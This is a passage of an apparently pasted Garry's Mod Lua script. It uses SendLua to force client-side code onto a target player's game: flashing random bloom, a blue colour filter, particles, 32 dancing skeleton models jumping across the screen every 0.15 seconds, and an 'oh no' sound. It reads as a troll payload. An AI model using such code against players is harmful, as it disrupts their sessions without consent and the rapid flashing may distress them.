  1120.                    
  1121.                     part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  1122.                     part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  1123.                     part:SetDieTime( 4.5 )
  1124.                     part:SetGravity( Vector(40, 0, -250) )
  1125.                     part:SetLifeTime( 0 )
  1126.                     part:SetStartSize( Size /2 )
  1127.                     part:SetEndSize( Size )
  1128.                     part:SetCollide( true )
  1129.                 end
  1130.             end
  1131.         end )
  1132.     ]] )
  1133.  
  1134.     lol:SendLua( pPlayer, [[
  1135.         hook.Add( "RenderScreenspaceEffects", "wat", function()
  1136.             local sinScaler = math.sin( CurTime() )
  1137.             DrawBloom(
  1138.                 0,
  1139.                 3,
  1140.                 sinScaler *math.Rand(1, 8),
  1141.                 sinScaler *math.Rand(1, 8),
  1142.                 6,
  1143.                 math.Rand(0.5, 2),
  1144.                 math.Rand(0, 0.3),
  1145.                 math.Rand(0, 0.3),
  1146.                 math.Rand(0.5, 1)
  1147.             )
  1148.  
  1149.             DrawColorModify{
  1150.                 ["$pp_colour_addr"] = 0,
  1151.                 ["$pp_colour_addg"] = 0,
  1152.                 ["$pp_colour_addb"] = 00,
  1153.                 ["$pp_colour_brightness" ] = 0,
  1154.                 ["$pp_colour_contrast" ] = 1,
  1155.                 ["$pp_colour_colour" ] = 1,
  1156.                 ["$pp_colour_mulr" ] = 0,
  1157.                 ["$pp_colour_mulg" ] = 0,
  1158.                 ["$pp_colour_mulb" ] = 1
  1159.             }
  1160.         end )
  1161.  
  1162.         local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  1163.         mdl:SetNoDraw( true )
  1164.         local posCache, time = {}, 0
  1165.  
  1166.         hook.Add( "HUDPaint", "dance", function()
  1167.             if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  1168.                 local idx = mdl:LookupSequence("taunt_dance")
  1169.                 mdl.SeqDuration = mdl:SequenceDuration( idx )
  1170.                 mdl.SeqStart = CurTime()
  1171.                 mdl:ResetSequence( idx )
  1172.             end
  1173.  
  1174.             mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  1175.  
  1176.            
  1177.             local w, h = 300, 300
  1178.             local ang = Angle( 0, 0, 0 )
  1179.  
  1180.             for i = 1, 32 do
  1181.                 if CurTime() > time then
  1182.                     posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  1183.                 end
  1184.                 local x, y = posCache[i][1], posCache[i][2]
  1185.  
  1186.                 cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  1187.                     cam.IgnoreZ( true )
  1188.                     render.SuppressEngineLighting( true )
  1189.                    
  1190.                     render.SetLightingOrigin( mdl:GetPos() )
  1191.                     render.ResetModelLighting( 1, 1, 1 )
  1192.                     render.SetColorModulation( 0, 0, 1 )
  1193.  
  1194.                     mdl:DrawModel()
  1195.                    
  1196.                     render.SuppressEngineLighting( false )
  1197.                     cam.IgnoreZ( false )
  1198.                 cam.End3D()
  1199.             end
  1200.  
  1201.             if CurTime() > time then
  1202.                 time = CurTime() +0.15
  1203.             end
  1204.         end )
  1205.  
  1206.         surface.PlaySound( "vo/npc/male01/ohno.wav" )
  1207.     ]] )
  1208. end )
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